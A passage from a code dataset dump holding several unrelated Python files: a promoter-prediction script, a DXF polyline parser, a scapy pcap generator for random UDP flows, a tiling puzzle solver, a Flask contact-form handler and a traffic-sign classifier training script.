tct[i][j]*a[i][j]\n return score\n\ndef pick(sequences, scores, inds, all_chosen, dt, mod):\n for k, e in reversed(list(enumerate(scores))):\n if(e>=dt):\n fmd = close(inds[k], all_chosen[i])\n scaling = 1.0\n if(fmd < minDist):\n scaling = fmd / minDist\n if(e*scaling >= dt):\n all_chosen[i].append(inds[k])\n print(\"Position \" + str(inds[k] + 1) + \" Score \" + str(round(sorted((0, e, 1))[1], 2)))\n tss = head + inds[k] \n cscore, cbp = ccaatscore(sequences[i], tss)\n tscore, tbp = tatascore(sequences[i], tss)\n seqp = \"\"\n if(cscore >= -4.54):\n seqp = seqp + fastarev(sequences[i][tss-200:tss-cbp])\n seqp = seqp + \"<span style='background-color:#b3ffff;'>\"\n seqp = seqp + fastarev(sequences[i][tss-cbp:tss-cbp + 12])\n seqp = seqp + \"</span>\"\n seqp = seqp + fastarev(sequences[i][tss-cbp+12:tss-45]) \n else:\n seqp = seqp + fastarev(sequences[i][tss-200:tss-45])\n \n if(tscore >= -8.16):\n seqp = seqp + fastarev(sequences[i][tss-45:tss-tbp])\n seqp = seqp + \"<span style='background-color:#ffb3b3;'>\"\n seqp = seqp + fastarev(sequences[i][tss-tbp:tss-tbp + 15])\n seqp = seqp + \"</span>\"\n seqp = seqp + fastarev(sequences[i][tss-tbp+15:tss-2]) \n else:\n seqp = seqp + fastarev(sequences[i][tss-45:tss-2])\n \n ns = \"\" \n if(inrscore(sequences[i][tss-2:tss+6]) >= -3.75):\n seqp = seqp + \"<span style='background-color:#ffe0b3;'>\"\n ns = \"</span>\"\n elif(tctscore(sequences[i][tss-2:tss+6]) >= 12.84):\n seqp = seqp + \"<span style='background-color:#c2efc2;'>\"\n ns = \"</span>\"\n seqp = seqp + fastarev(sequences[i][tss-2:tss]) \n seqp = seqp + \"<b><span style='background-color:#b3ccff;'>\"\n seqp = seqp + fastarev(sequences[i][tss:tss+1]) \n seqp = seqp + \"</span></b>\"\n seqp = seqp + fastarev(sequences[i][tss+1:tss+6])\n seqp = seqp + ns\n seqp = seqp + fastarev(sequences[i][tss+6:tss+400])\n print(seqp)\n else:\n break\nnp.random.seed(2504)\n\n#total = len(sys.argv)\n# if total<3:\n# print('USAGE: <model> <input file>')\n# exit(0)\n\n#print('\\nClassification of promoter and non-promoter sequences\\n')\n\nsLen = int(sys.argv[3])\nstep = int(sys.argv[4])\noutput = str(sys.argv[5])\ninp = str(sys.argv[2])\n\ndt = 0.4\ntry:\n dt = float(sys.argv[6]) \nexcept:\n pass\ndt = sorted((0.1, dt, 0.9))[1]\n\nminDist = 5000\ntry:\n minDist = int(sys.argv[7])\nexcept:\n pass\n\nif(minDist < 600):\n minDist = 600\n\nfixw = 1.01\n\nsequences1 = []\nnames = []\nseq = \"\"\nwith open(inp) as f:\n for line in f:\n if(line.startswith(\">\")):\n names.append(line.strip())\n if(len(seq) != 0):\n sequences1.append(np.fromstring(encode(seq), dtype=int, sep=\",\"))\n seq = \"\"\n continue\n else:\n seq += line\n\nif(len(seq) != 0):\n sequences1.append(np.fromstring(encode(seq), dtype=int, sep=\",\"))\n\nsequences = []\nhead = 0\ntail = 0\nif(sLen == 251):\n head = 200\n tail = 50\nelif(sLen == 750):\n head = 300\n tail = 449\nelif(sLen == 1500):\n head = 1000\n tail = 499\nelif(sLen == 600):\n head = 200\n tail = 399\n\nfor i in range(len(sequences1)):\n os = zeros((len(sequences1[i]), 4))\n for j in range(len(sequences1[i])):\n if(sequences1[i][j]<4):\n os[j][sequences1[i][j]] = 1\n temp = []\n temp.extend(randomSeq(head))\n temp.extend(os)\n temp.extend(randomSeq(tail))\n sequences.append(temp)\n\nprint(\"This is the final result!!\")\nall_scores_tata = []\nall_scores_ntata = []\nall_chosen = []\nnew_graph = tf.Graph()\nwith tf.Session(graph=new_graph) as sess:\n # Import the previously export meta graph.\n tf.saved_model.loader.load(sess, [tf.saved_model.tag_constants.SERVING], sys.argv[1])\n # Restore the variables\n saver = tf.train.Saver()\n saver.restore(sess, sys.argv[1]+\"/variables/variables\")\n input_x = tf.get_default_graph().get_tensor_by_name(\"input_prom:0\")\n y = tf.get_default_graph().get_tensor_by_name(\"output_prom:0\")\n kr1 = tf.get_default_graph().get_tensor_by_name(\"kr1:0\")\n kr2 = tf.get_default_graph().get_tensor_by_name(\"kr2:0\")\n for i in range(len(sequences)):\n total = int(math.ceil((len(sequences[i]) - sLen) / step) + 1)\n topred = np.zeros(shape=(total, sLen, 4))\n for j in range(total):\n topred[j] = sequences[i][j * step: j * step + sLen]\n predict = brun(sess, y, topred)\n prefix = \"\"\n scores = []\n for j in range(total):\n score = (predict[j][0] - predict[j][1] + 1.0)/2.0 \n tss = head + j\n if(score > 0.1): \n #if tata+ model says no, this should as well\n #if(tatascore(sequences[i], tss)[0] >= -8.16):\n # score = score - 0.4\n if(inrscore(sequences[i][tss-2:tss+6]) >= -3.75):\n score = score + 0.02\n elif(tctscore(sequences[i][tss-2:tss+6]) >= 12.84):\n score = score + 0.005\n elif(sequences[i][tss][2] == 1):\n score = score + 0.01\n elif(sequences[i][tss][0] == 1):\n score = score + 0.01\n elif(sequences[i][tss][3] == 1):\n score = score - 0.3\n elif(sequences[i][tss][1] == 1):\n score = score - 0.3\n scores.append(score)\n prefix = \", \"\n scores= np.array(scores) \n all_scores_ntata.append(scores)\n\nnew_graph = tf.Graph()\nwith tf.Session(graph=new_graph) as sess:\n # Import the previously export meta graph.\n tf.saved_model.loader.load(sess, [tf.saved_model.tag_constants.SERVING], \"PromID/model_2\")\n # Restore the variables\n saver = tf.train.Saver()\n saver.restore(sess, \"PromID/model_2\"+\"/variables/variables\")\n input_x = tf.get_default_graph().get_tensor_by_name(\"input_prom:0\")\n y = tf.get_default_graph().get_tensor_by_name(\"output_prom:0\")\n kr1 = tf.get_default_graph().get_tensor_by_name(\"kr1:0\")\n kr2 = tf.get_default_graph().get_tensor_by_name(\"kr2:0\")\n for i in range(len(sequences)):\n total = int(math.ceil((len(sequences[i]) - sLen) / step) + 1)\n topred = np.zeros(shape=(total, sLen, 4))\n for j in range(total):\n topred[j] = sequences[i][j * step: j * step + sLen]\n predict = brun(sess, y, topred)\n scores = []\n for j in range(total):\n score = (predict[j][0] - predict[j][1] + 1.0)/2.0 \n tss = head + j\n \n if(score > 0.1): \n if(tatascore(sequences[i], tss)[0] >= -8.16):\n score = score + 0.02\n else:\n score = score - 0.3\n if(inrscore(sequences[i][tss-2:tss+6]) >= -3.75):\n score = score + 0.02\n elif(tctscore(sequences[i][tss-2:tss+6]) >= 12.84):\n score = score + 0.005\n elif(sequences[i][tss][2] == 1):\n score = score + 0.01\n elif(sequences[i][tss][0] == 1):\n score = score + 0.01\n elif(sequences[i][tss][3] == 1):\n score = score - 0.3\n elif(sequences[i][tss][1] == 1):\n score = score - 0.3\n scores.append(score)\n scores= np.array(scores) \n all_scores_tata.append(scores)\n\nfor i in range(len(sequences)): \n print(\"<b>\" + names[i] + \"</b>\")\n\n all_chosen.append([])\n\n inds = np.argsort(all_scores_tata[i])\n scores = all_scores_tata[i][inds]\n pick(sequences, scores, inds, all_chosen, 0.7, \"+\")\n\n inds = np.argsort(all_scores_ntata[i])\n scores = all_scores_ntata[i][inds]\n pick(sequences, scores, inds, all_chosen, dt, \"-\")\n\n inds = np.argsort(all_scores_tata[i])\n scores = all_scores_tata[i][inds]\n pick(sequences, scores, inds, all_chosen, dt, \"+\")","sub_path":"PromID/pipeline/predictor_padding.py","file_name":"predictor_padding.py","file_ext":"py","file_size_in_byte":12147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"507598363","text":"#!/usr/bin/python\n# -*- coding: cp1252 -*-\n#\n#dxf2gcode_b02_geoent_lwpolyline\n#Programmers: Christian Kohlöffel\n# Vinzenz Schulz\n#\n#Distributed under the terms of the GPL (GNU Public License)\n#\n#dxf2gcode is free software; you can redistribute it and/or modify\n#it under the terms of the GNU General Public License as published by\n#the Free Software Foundation; either version 2 of the License, or\n#(at your option) any later version.\n#\n#This program is distributed in the hope that it will be useful,\n#but WITHOUT ANY WARRANTY; without even the implied warranty of\n#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n#GNU General Public License for more details.\n#\n#You should have received a copy of the GNU General Public License\n#along with this program; if not, write to the Free Software\n#Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\nfrom math import sqrt, sin, cos, atan2, radians, degrees\nfrom point import PointClass\nfrom dxf_import_classes import PointsClass, ContourClass\nfrom base_geometries import LineGeo, ArcGeo \n\n\nclass LWPolylineClass:\n def __init__(self, Nr=0, caller=None):\n self.Typ = 'LWPolyline'\n self.Nr = Nr\n self.Layer_Nr = 0\n self.length = 0\n self.geo = []\n\n #Lesen der Geometrie\n self.Read(caller)\n \n def __str__(self):\n # how to print the object\n string = (\"\\nTyp: LWPolyline\") + \\\n (\"\\nNr: %i\" % self.Nr) + \\\n (\"\\nLayer Nr: %i\" % self.Layer_Nr) + \\\n (\"\\nNr. of geos: %i\" % len(self.geo)) + \\\n (\"\\nlength: %0.3f\" % self.length)\n \n return string\n\n def reverse(self):\n self.geo.reverse()\n for geo in self.geo:\n geo.reverse() \n\n def App_Cont_or_Calc_IntPts(self, cont, points, i, tol, warning):\n if abs(self.length) < tol:\n pass\n \n #Hinzufügen falls es keine geschlossene Polyline ist\n elif self.geo[0].Pa.isintol(self.geo[-1].Pe, tol):\n self.analyse_and_opt()\n cont.append(ContourClass(len(cont), 1, [[i, 0]], self.length))\n else:\n points.append(PointsClass(point_nr=len(points), geo_nr=i, \\\n Layer_Nr=self.Layer_Nr, \\\n be=self.geo[0].Pa,\n en=self.geo[-1].Pe, be_cp=[], en_cp=[])) \n return warning\n \n def analyse_and_opt(self):\n summe = 0\n\n #Richtung in welcher der Anfang liegen soll (unten links) \n Popt = PointClass(x= -1e3, y= -1e6)\n \n #Berechnung der Fläch nach Gauß-Elling Positive Wert bedeutet CW\n #negativer Wert bedeutet CCW geschlossenes Polygon \n for Line in self.geo:\n summe += (Line.Pa.x * Line.Pe.y - Line.Pe.x * Line.Pa.y) / 2\n \n if summe > 0.0:\n self.reverse()\n \n #Suchen des kleinsten Startpunkts von unten Links X zuerst (Muss neue Schleife sein!)\n min_distance = self.geo[0].Pa.distance(Popt)\n min_geo_nr = 0\n for geo_nr in range(1, len(self.geo)):\n if (self.geo[geo_nr].Pa.distance(Popt) < min_distance):\n min_distance = self.geo[geo_nr].Pa.distance(Popt)\n min_geo_nr = geo_nr\n\n #Kontur so anordnen das neuer Startpunkt am Anfang liegt\n self.geo = self.geo[min_geo_nr:len(self.geo)] + self.geo[0:min_geo_nr]\n \n \n def Read(self, caller):\n Old_Point = PointClass(0, 0)\n #Kürzere Namen zuweisen\n lp = caller.line_pairs\n e = lp.index_code(0, caller.start + 1)\n \n #Layer zuweisen\n s = lp.index_code(8, caller.start + 1)\n self.Layer_Nr = caller.Get_Layer_Nr(lp.line_pair[s].value)\n\n #Pa=None für den ersten Punkt\n Pa = None\n \n #Number of vertices\n s = lp.index_code(90, s + 1, e)\n NoOfVert = int(lp.line_pair[s].value)\n \n #Polyline flag (bit-coded); default is 0; 1 = Closed; 128 = Plinegen\n s = lp.index_code(70, s + 1, e)\n LWPLClosed = int(lp.line_pair[s].value)\n #print LWPLClosed\n \n s = lp.index_code(10, s + 1, e)\n while 1:\n #XWert\n if s == None:\n break\n \n x = float(lp.line_pair[s].value)\n #YWert\n s = lp.index_code(20, s + 1, e)\n y = float(lp.line_pair[s].value)\n Pe = PointClass(x=x, y=y)\n \n #Bulge\n bulge = 0\n \n s_nxt_x = lp.index_code(10, s + 1, e)\n e_nxt_b = s_nxt_x\n \n #Wenn am Ende dann Suche bis zum Ende\n if e_nxt_b == None:\n e_nxt_b = e\n \n s_bulge = lp.index_code(42, s + 1, e_nxt_b)\n \n #print('stemp: %s, e: %s, next 10: %s' %(s_temp,e,lp.index_code(10,s+1,e)))\n if s_bulge != None:\n bulge = float(lp.line_pair[s_bulge].value)\n s_nxt_x = s_nxt_x\n \n #Übernehmen des nächsten X Wert als Startwert\n s = s_nxt_x\n \n #Zuweisen der Geometrien für die Polyline\n \n if not(type(Pa) == type(None)):\n if next_bulge == 0:\n self.geo.append(LineGeo(Pa=Pa, Pe=Pe))\n else:\n #self.geo.append(LineGeo(Pa=Pa,Pe=Pe))\n #print bulge\n self.geo.append(self.bulge2arc(Pa, Pe, next_bulge))\n \n #Länge drauf rechnen wenns eine Geometrie ist\n self.length += self.geo[-1].length\n \n #Der Bulge wird immer für den und den nächsten Punkt angegeben\n next_bulge = bulge\n Pa = Pe \n\n \n if (LWPLClosed == 1)or(LWPLClosed == 129):\n #print(\"sollten Übereinstimmen: %s, %s\" %(Pa,Pe))\n if next_bulge:\n self.geo.append(self.bulge2arc(Pa, self.geo[0].Pa, next_bulge))\n else:\n self.geo.append(LineGeo(Pa=Pa, Pe=self.geo[0].Pa))\n \n self.length += self.geo[-1].length\n \n #Neuen Startwert für die nächste Geometrie zurückgeben \n caller.start = e\n\n def get_start_end_points(self, direction=0):\n if not(direction):\n punkt, angle = self.geo[0].get_start_end_points(direction)\n elif direction:\n punkt, angle = self.geo[-1].get_start_end_points(direction)\n return punkt, angle\n \n def bulge2arc(self, Pa, Pe, bulge):\n c = (1 / bulge - bulge) / 2\n \n #Berechnung des Mittelpunkts (Formel von Mickes!\n O = PointClass(x=(Pa.x + Pe.x - (Pe.y - Pa.y) * c) / 2, \\\n y=(Pa.y + Pe.y + (Pe.x - Pa.x) * c) / 2)\n \n #Abstand zwischen dem Mittelpunkt und PA ist der Radius\n r = O.distance(Pa)\n #Kontrolle ob beide gleich sind (passt ...)\n #r=O.distance(Pe)\n\n #Unterscheidung für den Öffnungswinkel.\n if bulge > 0:\n return ArcGeo(Pa=Pa, Pe=Pe, O=O, r=r) \n else:\n arc = ArcGeo(Pa=Pe, Pe=Pa, O=O, r=r)\n arc.reverse()\n return arc\n","sub_path":"source/geoent_lwpolyline.py","file_name":"geoent_lwpolyline.py","file_ext":"py","file_size_in_byte":7384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"515297825","text":"#!/usr/bin/python\n\nimport argparse\nimport csv\nimport sys\nfrom random import randint\n\nfrom scapy.all import *\nfrom scapy.utils import PcapWriter\n\nif __name__ == \"__main__\":\n # parse params\n parser = argparse.ArgumentParser(description=\"create a pcap file with uniformly random flows\")\n parser.add_argument('--npackets', type=int, help='number of packets total (across all flows)', required=True)\n parser.add_argument('--output', help='name of output pcap file', required=True)\n\n args = parser.parse_args()\n\n pktdump = PcapWriter(args.output, append=False)\n\n for i in xrange(args.npackets): \n src_ip = socket.inet_ntoa(struct.pack('!L', random.randint(0,0xFFFFFFFF)))\n dst_ip = socket.inet_ntoa(struct.pack('!L', random.randint(0,0xFFFFFFFF)))\n sport = random.randint(1024,65535)\n dport = random.randint(1,10000)\n\n pkt = Ether(src=\"08:00:27:53:8b:38\", dst=\"08:00:27:c1:13:47\")\n pkt = pkt/IP(src=src_ip, dst=dst_ip)\n pkt = pkt/UDP(sport=sport,dport=dport)\n\n pktdump.write(pkt)\n","sub_path":"scripts/pcap_tools/create_uniform_distribution_all_ips_pcap.py","file_name":"create_uniform_distribution_all_ips_pcap.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"52792266","text":"#!/usr/bin/env python3\n\n\"\"\"tile:cover a wall with bricks\n\n__author__ = \"Li Yichen\"\n__pkuid__ = \"1800011849\"\n__email__ = \"1800011849@pku.edu.cn\"\n\"\"\"\n\na=int(input('瓷砖长:'))\nb=int(input('瓷砖宽:'))\nm=int(input('墙长:'))\nn=int(input('墙宽:'))\nimport sys #扩大递归深��� \nsys.setrecursionlimit(10000000) \ndef cover(q,a,b,p):\n '''\n 用axb的砖块从第q块铺名字为p的墙\n '''\n l=()\n for i in range(b):\n for j in range(q,q+a):\n p[j]=1\n l=l+(j,)\n q+=m\n return l\ndef judge(q,a,b,p):\n '''\n 判断是否可以在第q块铺axb的砖块\n '''\n true=True\n w=(q//m+1)*m\n for i in range(b):\n if q+(a-1)>=min(w,len(p)) :\n return False\n for j in range(q,q+a):\n if p[j]==1:\n true=False\n q+=m\n w+=m\n return true\nway=[[]]\ntotal=0\nlast=[]\ndef kaishipu(m,n,a,b):\n '''\n 开始铺设\n '''\n for ways in way:\n if len(ways)==m*n/a/b:\n last.append(ways)\n way.remove(ways)\n kaishipu(m,n,a,b)\n else:\n for a,b in[(a,b),(b,a)]:\n lstt=[0]*m*n\n for q in ways:\n for w in q:\n lstt[w]=1\n for h in range(len(lstt)):\n if lstt[h]==0:\n break\n if judge(h,a,b,lstt):\n x=cover(h,a,b,lstt)\n wayss=ways+[x]\n way.append(wayss) \n way.remove(ways)\n kaishipu(m,n,a,b)\n\n\ndef visual():\n '''\n 将获得的组数加以处理,并以乌龟作图的形式表现出来\n '''\n if a==b:\n x=len(last)\n for i in range(1,x):\n del last[-1] \n g=0\n sol={}\n for i in range(len(last)):\n \n g+=1\n sol['第'+str(g)+'组:']=last[i]\n for i in sol:\n print(i,sol[i])\n if g==0:\n print('铺不了,重新输')\n else:\n \n import turtle\n p=int(turtle.numinput('输入','想可视化的组数',1,minval=1,maxval=(len(last))))\n t=sol['第'+str(p)+'组:']\n cdg=turtle.Turtle()\n cdg.color('blue')\n cdg.pensize(1)\n cdg.speed(0)\n cdg.hideturtle()\n for i in range(n):\n for j in range (m):\n x1=30*(j-m/2)\n x2=30*(j+1-m/2)\n y1=30*(i-n/2)\n y2=30*(i+1-n/2)\n cdg.penup()\n cdg.goto(x1,y1)\n cdg.pendown()\n cdg.goto(x2,y1)\n cdg.goto(x2,y2)\n cdg.goto(x1,y2)\n cdg.goto(x1,y1)\n cdg.penup()\n cdg.goto((2*x1+x2)/3,y1)\n cdg.write(str(i*m+j))\n yhf=turtle.Turtle()\n yhf.pencolor('black')\n yhf.pensize(2)\n yhf.hideturtle()\n for i in t:\n o1=i[0]\n o2=i[-1]\n km1=o1%m\n km2=o2%m\n kn1=o1//m\n kn2=o2//m\n x1=30*(km1-m/2)\n x2=30*(km2+1-m/2)\n y1=30*(kn1-n/2)\n y2=30*(kn2+1-n/2)\n yhf.penup()\n yhf.goto(x1,y1)\n yhf.pendown()\n yhf.goto(x2,y1)\n yhf.goto(x2,y2)\n yhf.goto(x1,y2)\n yhf.goto(x1,y1)\ndef main():\n kaishipu(m,n,a,b)\n visual()\nif __name__=='__main__':\n main()\n\n","sub_path":"pyassign/tile.py","file_name":"tile.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"198459658","text":"\"\"\"Module for maximum flows.\"\"\"\n\n\nimport functools\nimport os\nimport requests\nimport smtplib\n\nfrom flask import jsonify\nfrom itsdangerous import Signer\n\n\ndef request_wrapper(original_func=None,\n allowed_methods=frozenset(['GET', 'PUT', 'OPTIONS', 'POST',\n 'DELETE'])):\n def _decorate(func):\n @functools.wraps(func)\n def wrapped_func(request):\n # Allowed methods\n if request.method not in allowed_methods:\n return jsonify({'status': 'error',\n 'message': 'Method not allowed',\n 'data': None}), 403\n\n # CORS\n CORS_ORIGINS = os.environ['CORS_ORIGINS'].split(';')\n origin = request.headers.get('origin')\n headers = {}\n if '*' in CORS_ORIGINS:\n headers['Access-Control-Allow-Origin'] = '*'\n elif origin and origin in CORS_ORIGINS:\n headers['Access-Control-Allow-Origin'] = origin\n if len(CORS_ORIGINS) > 1 and '*' not in CORS_ORIGINS:\n headers['Vary'] = 'Origin'\n\n if request.method == 'OPTIONS':\n headers = {\n **headers,\n 'Access-Control-Allow-Methods': allowed_methods,\n 'Access-Control-Allow-Headers': ['Content-Type',\n 'x-api-key'],\n 'Access-Control-Max-Age': '3600'\n }\n return ('', 204, headers)\n\n # API token\n api_key = request.headers.get('X-API-KEY')\n if api_key is None:\n return jsonify({'status': 'error',\n 'message': 'Missing \"x-api-key\" header',\n 'data': None}), 401\n\n try:\n Signer(os.environ['SECRET_KEY']).unsign(api_key)\n except Exception:\n return jsonify({'status': 'error',\n 'message': 'Invalid access token',\n 'data': None}), 401\n\n # Run function\n try:\n resp, status = func(request)\n return jsonify(resp), status, headers\n except Exception as e:\n return jsonify({'status': 'error',\n 'message': str(e),\n 'data': None}), 500, headers\n\n return wrapped_func\n\n if original_func:\n return _decorate(original_func)\n\n return _decorate\n\n\n@request_wrapper(allowed_methods=['OPTIONS', 'POST'])\ndef contact(request):\n \"\"\"Send contact email.\"\"\" \n print('Starting to send contact email...')\n \n data = request.get_json()['data']\n\n # ReCaptcha check\n print('Verifying reCaptcha...')\n recaptcha_success = requests.post(\n 'https://www.google.com/recaptcha/api/siteverify',\n data={\n 'secret': os.environ['RECAPTCHA_SECRET_KEY'],\n 'response': data['reCaptchaResponse']\n }\n ).json()['success']\n if not recaptcha_success:\n raise ValueError('reCaptcha validation failed, please reload the page')\n else:\n print('reCaptcha response verified successfully!')\n\n # Mail\n _from = os.environ['MAIL_USERNAME']\n to = os.environ['MAIL_TO']\n subject = f\"Message from {data['name']} (jmyrberg-website)\"\n content = (f\"Name: {data['name']}\\n\\n\"\n f\"Email: {data['email']}\\n\\n\"\n f\"Message:\\n{data['message']}\")\n _message = f'From: {_from}\\nTo: {to}\\nSubject: {subject}\\n\\n{content}'\n\n try:\n server = smtplib.SMTP(os.environ['MAIL_SERVER'])\n server.ehlo()\n server.starttls()\n server.login(os.environ['MAIL_USERNAME'], os.environ['MAIL_PASSWORD'])\n server.sendmail(_from, to, _message)\n server.close()\n status = 'success'\n message = 'Email sent successfully'\n status_code = 200\n except Exception as e:\n status = 'error'\n message = str(e)\n status_code = 500\n\n return {'status': status, 'message': message, 'data': None}, status_code\n","sub_path":"functions/contact/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"40280474","text":"import argparse\nimport torch\nimport os\nimport logging as log\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets\nfrom model import Net, DPN26, DPN92, WeightControl\nfrom data import initialize_data, get_transform, train_size, val_size\nimport IPython\n\n\n# Training settings\n\nparser = argparse.ArgumentParser(description=\"PyTorch GTSRB example\")\nparser.add_argument(\"--data\", type=str, default=\"/scratch/hl3236/data/GTSRB\")\nparser.add_argument(\"--results-dir\", type=str, default=\"/scratch/hl3236/cv_results\")\nparser.add_argument(\"--device\", type=str, default=\"cuda\")\nparser.add_argument(\"--exp-name\", type=str, default=\"debug\")\nparser.add_argument(\"--batch-size\", type=int, default=64)\nparser.add_argument(\"--model\", type=str, default=\"net\", choices=[\"net\", \"dpn92\", \"dpn26\"])\nparser.add_argument(\n \"--data-aug\",\n type=str,\n default=\"\",\n choices=[\"\", \"c\", \"r\", \"j\", \"e\", \"ce\", \"re\", \"rj\", \"cj\"],\n help=\"\"\"\n c: random crop,\n e: equalize,\n r: random resize crop,\n j: color jitter,\n \"\"\",\n)\nparser.add_argument(\"--optim\", type=str, default=\"adamw\", choices=[\"sgd\", \"adam\", \"adamw\"])\nparser.add_argument(\"--lr\", type=float, default=3e-4)\nparser.add_argument(\"--wd\", type=float, default=0.001)\nparser.add_argument(\n \"--scheduler\",\n type=str,\n default=\"plateau\",\n choices=[\"plateau\", \"linear\", \"triangular\", \"triangular2\"],\n)\nparser.add_argument(\n \"--balance\",\n type=str,\n default=\"\",\n choices=[\"\", \"/s\", \"e\", \"+\", \"+e\", \"+ea\", \"ea\"],\n help=\"\"\"\n /s: scale by inverse training size,\n e: scale by val error rate,\n +: oversampling,\n a: running average\n \"\"\",\n)\nparser.add_argument(\"--epochs\", type=int, default=10)\nparser.add_argument(\"--lr-patience\", type=int, default=3)\nparser.add_argument(\"--cycle-halfperoid\", type=int, default=1)\nparser.add_argument(\"--seed\", type=int, default=1)\nparser.add_argument(\"--log-interval\", type=int, default=20)\nargs = parser.parse_args()\n\n# Setup logging\n\n\ndef config_log(log_file):\n log.basicConfig(\n level=log.INFO,\n format=\"%(asctime)s [%(threadName)-12.12s] %(message)s\",\n handlers=[log.FileHandler(log_file), log.StreamHandler()],\n )\n\n\nconfig_log(os.path.join(args.results_dir, \"%s.log\" % args.exp_name))\n\n\ntorch.manual_seed(args.seed)\nlog.info(\"Experiment %s\" % args.exp_name)\nlog.info(\"Args: %s\" % args.__str__())\n\n\n# Data Initialization and Loading\n\ninitialize_data(args.data) # extracts the zip files, makes a validation set\n\ntrain_transforms = get_transform(args.data_aug, \"train\")\nif \"+\" in args.balance:\n train_folder = args.data + \"/balanced_train_images\"\nelse:\n train_folder = args.data + \"/train_images\"\ntrain_loader = torch.utils.data.DataLoader(\n datasets.ImageFolder(train_folder, transform=train_transforms),\n batch_size=args.batch_size,\n shuffle=True,\n num_workers=4,\n pin_memory=True,\n)\neval_transforms = get_transform(args.data_aug, \"eval\")\nval_folder = args.data + \"/val_images\"\nval_loader = torch.utils.data.DataLoader(\n datasets.ImageFolder(val_folder, transform=eval_transforms),\n batch_size=args.batch_size,\n shuffle=False,\n num_workers=4,\n pin_memory=True,\n)\nlog.info(\"Load training data from %s\" % train_folder)\nlog.info(\"Train transforms %s\" % train_transforms.__repr__())\nlog.info(\"Load validation data from %s\" % val_folder)\nlog.info(\"Eval transforms %s\" % eval_transforms.__repr__())\n\n\n# Onetime code, compute the mean and std of the data\n# image_pack = []\n# for batch_idx, (data, target) in enumerate(train_loader):\n# if batch_idx % 100 == 0:\n# log.info(batch_idx * args.batch_size)\n# image_pack.append(data.transpose(0, 1).flatten(1))\n\n# t = torch.cat(image_pack, dim=1)\n# log.info(\"mean: %s\" % t.mean(1).tolist().__str__())\n# log.info(\"std: %s\" % t.std(1).tolist().__str__())\n# exit()\n\n# Neural Network, Optimizer, Scheduler\n# We define neural net in model.py so that it can be reused by the evaluate.py script\n\nif args.model == \"net\":\n model = Net()\nelif args.model == \"dpn26\":\n model = DPN26()\nelif args.model == \"dpn92\":\n model = DPN92()\nmodel.to(args.device)\nreweight = WeightControl(args.balance, train_size, val_size)\nreweight.to(args.device)\n\nif args.optim == \"sgd\":\n optimizer = optim.SGD(model.parameters(), args.lr, 0.5, weight_decay=args.wd)\nelif args.optim == \"adam\":\n optimizer = optim.Adam(model.parameters(), args.lr, weight_decay=args.wd)\nelif args.optim == \"adamw\":\n optimizer = optim.AdamW(model.parameters(), args.lr, weight_decay=args.wd)\n\nif args.scheduler == \"plateau\":\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(\n optimizer=optimizer, mode=\"min\", patience=args.lr_patience, factor=0.316\n )\nelif args.scheduler == \"linear\":\n scheduler = torch.optim.lr_scheduler.OneCycleLR(\n optimizer=optimizer,\n max_lr=args.lr,\n epochs=args.epochs,\n steps_per_epoch=len(train_loader),\n anneal_strategy=\"linear\",\n cycle_momentum=False,\n )\nelif args.scheduler.startswith(\"triangular\"):\n scheduler = torch.optim.lr_scheduler.CyclicLR(\n optimizer=optimizer,\n base_lr=1e-8,\n max_lr=args.lr,\n step_size_up=len(train_loader) * args.cycle_halfperoid,\n step_size_down=len(train_loader) * args.cycle_halfperoid,\n mode=args.scheduler,\n cycle_momentum=False,\n )\n\n\ndef train():\n best_val_result = {\"acc\": 0, \"epoch\": -1, \"model\": \"\"}\n log.info(\"Start training\")\n model.train()\n for epoch in range(1, args.epochs + 1):\n class_weight = reweight.get_weight()\n for batch_idx, (data, target) in enumerate(train_loader):\n data, target = data.to(args.device), target.to(args.device)\n optimizer.zero_grad()\n output = model(data)\n loss = F.nll_loss(output, target, weight=class_weight)\n pred = output.max(1, keepdim=True)[1]\n correct = pred.eq(target.view_as(pred)).sum().tolist()\n loss.backward()\n optimizer.step()\n if args.scheduler in [\"linear\", \"triangular\", \"triangular2\"]:\n scheduler.step()\n if batch_idx % args.log_interval == 0:\n log.info(\n \"Train Ep:{:2d} [{:6d}/{:6d} ({:.0f}%)] Loss: {:.6f} Accuracy: {:.6f}\".format(\n epoch,\n batch_idx * len(data),\n len(train_loader.dataset),\n 100.0 * batch_idx / len(train_loader),\n loss.tolist(),\n 100.0 * correct / len(pred),\n )\n )\n val_loss, val_acc = validation()\n model.train()\n if args.scheduler == \"plateau\":\n scheduler.step(val_loss)\n if val_acc > best_val_result[\"acc\"]:\n model_file = os.path.join(\n args.results_dir, \"model_%s_%s_%s.pth\" % (args.model, args.exp_name, str(epoch))\n )\n best_val_result = {\"acc\": val_acc, \"epoch\": epoch, \"model\": model_file}\n torch.save(model.state_dict(), model_file)\n log.info(\"Best val result updated %s\" % best_val_result)\n log.info(\"Training complete. %s\" % best_val_result)\n\n\ndef validation():\n log.info(\"Start validating\")\n model.eval()\n validation_loss = 0\n correct = 0\n reweight.val_reset()\n with torch.no_grad():\n for data, target in val_loader:\n data, target = data.to(args.device), target.to(args.device)\n output = model(data)\n validation_loss += F.nll_loss(\n output, target, size_average=False\n ).tolist() # sum up batch loss\n pred = output.max(1, keepdim=True)[1] # get the index of the max log-probability\n correct += pred.eq(target.view_as(pred)).sum().tolist()\n reweight.val_update(pred != (target.view_as(pred)), target)\n\n validation_loss /= len(val_loader.dataset)\n log.info(\n \"\\nValidation set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\".format(\n validation_loss,\n correct,\n len(val_loader.dataset),\n 100.0 * correct / len(val_loader.dataset),\n )\n )\n log.info(\"Error distribution\\n{}\".format(reweight.get_error_distrib()))\n return validation_loss, 100.0 * correct / len(val_loader.dataset)\n\n\nif __name__ == 